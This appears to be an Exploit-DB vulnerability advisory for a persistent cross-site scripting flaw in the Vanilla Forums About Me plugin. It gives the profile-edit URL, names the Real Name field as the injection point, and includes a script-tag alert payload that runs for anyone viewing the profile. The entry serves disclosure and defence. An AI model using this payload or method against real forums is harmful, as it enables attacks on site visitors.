Vanilla Forums About Me Plugin - Persistent Cross-Site Scripting

Author: Henry Hoggard
type: webapps
platform: php
port: 
date_added: 2012-05-21 
date_updated: 2012-05-21 
verified: 1 
codes: OSVDB-82039;CVE-2012-6557 
tags: 
aliases:  
screenshot_url: http://www.exploit-db.com/screenshots/idlt19000/screen-shot-2012-05-21-at-124713-pm.png 
application_url: http://www.exploit-db.com8BPQHKOS5A5Z.zip

# Title: Vanilla About Me Plugin Persistant XSS Vulnerability
# Date: 18/5/12
# Author: Henry Hoggard
# Author URL: henryhoggard.co.uk
# Author Twitter: @henryhoggard
# Software: Vanilla Version 2.0.18.4 + About Me 1.1.1
# http://vanillaforums.org/addon/aboutme-plugin
# http://http://vanillaforums.org
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Go to http://target.tld/index.php?p=/profile/editme/4/testmember

Post your XSS In any of the text fields, for this we used the Real Name Field and the following XSS

XSS:
<script>alert('x')</script>

Then if a user visits your about me page (http://target.tld/index.php?p=/profile/aboutme/4/testmember) the script will execute

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